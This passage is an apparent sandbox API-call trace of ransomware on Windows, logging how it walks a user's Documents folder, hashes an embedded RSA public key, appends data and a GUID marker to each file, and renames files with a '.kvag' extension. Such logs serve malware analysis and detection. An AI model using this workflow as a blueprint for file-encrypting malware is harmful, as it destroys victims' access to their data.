KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.464] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.464] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.465] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.465] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.465] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.465] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.465] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.465] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.465] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.465] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.465] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.465] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.466] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb043, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.466] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.466] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.466] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.466] CloseHandle (hObject=0x61c) returned 1 [0119.467] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mUv_SkYk3fldq1.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\muv_skyk3fldq1.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mUv_SkYk3fldq1.pps.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\muv_skyk3fldq1.pps.kvag")) returned 1 [0119.468] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0119.468] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0119.468] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0119.468] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0119.468] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21a20c00, ftCreationTime.dwHighDateTime=0x1d5194a, ftLastAccessTime.dwLowDateTime=0xc4634680, ftLastAccessTime.dwHighDateTime=0x1d5668d, ftLastWriteTime.dwLowDateTime=0xc4634680, ftLastWriteTime.dwHighDateTime=0x1d5668d, nFileSizeHigh=0x0, nFileSizeLow=0xf875, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ndagl35.xlsx", cAlternateFileName="NDAGL3~1.XLS")) returned 1 [0119.468] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ndagl35.xlsx") returned=".xlsx" [0119.468] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ndagl35.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ndagl35.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.469] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=63605) returned 1 [0119.469] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.471] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xf84f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.471] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.472] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.472] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xf875, lpOverlapped=0x0) returned 1 [0119.473] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.473] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.473] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.473] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.474] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.474] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.474] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.474] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.474] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.474] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.474] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.474] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.474] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.474] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.475] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xf875, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.475] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.475] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.475] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.475] CloseHandle (hObject=0x61c) returned 1 [0119.476] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ndagl35.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ndagl35.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ndagl35.xlsx.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ndagl35.xlsx.kvag")) returned 1 [0119.480] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fd4def0, ftCreationTime.dwHighDateTime=0x1d4c6bd, ftLastAccessTime.dwLowDateTime=0x9b5c03c0, ftLastAccessTime.dwHighDateTime=0x1d4c602, ftLastWriteTime.dwLowDateTime=0x9b5c03c0, ftLastWriteTime.dwHighDateTime=0x1d4c602, nFileSizeHigh=0x0, nFileSizeLow=0xbb05, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Nqt6s-h.rtf", cAlternateFileName="")) returned 1 [0119.480] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Nqt6s-h.rtf") returned=".rtf" [0119.480] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Nqt6s-h.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\nqt6s-h.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.481] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=47877) returned 1 [0119.481] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.483] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xbadf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.483] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.484] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xbb05, lpOverlapped=0x0) returned 1 [0119.485] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.485] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.485] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.485] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.486] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.486] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.486] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.486] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.486] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.486] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.486] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.486] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.486] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.486] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.489] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xbb05, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.489] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.490] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.490] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.490] CloseHandle (hObject=0x61c) returned 1 [0119.491] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Nqt6s-h.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\nqt6s-h.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Nqt6s-h.rtf.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\nqt6s-h.rtf.kvag")) returned 1 [0119.492] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b94bf10, ftCreationTime.dwHighDateTime=0x1d4c98e, ftLastAccessTime.dwLowDateTime=0x4fe81fe0, ftLastAccessTime.dwHighDateTime=0x1d4cfe5, ftLastWriteTime.dwLowDateTime=0x4fe81fe0, ftLastWriteTime.dwHighDateTime=0x1d4cfe5, nFileSizeHigh=0x0, nFileSizeLow=0xc06a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OiTQ4Y77X9w.ppt", cAlternateFileName="OITQ4Y~1.PPT")) returned 1 [0119.492] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OiTQ4Y77X9w.ppt") returned=".ppt" [0119.492] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OiTQ4Y77X9w.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oitq4y77x9w.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.492] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=49258) returned 1 [0119.492] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.493] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xc044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.493] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.495] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xc06a, lpOverlapped=0x0) returned 1 [0119.495] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.496] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.496] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.496] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.496] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.496] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.496] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, 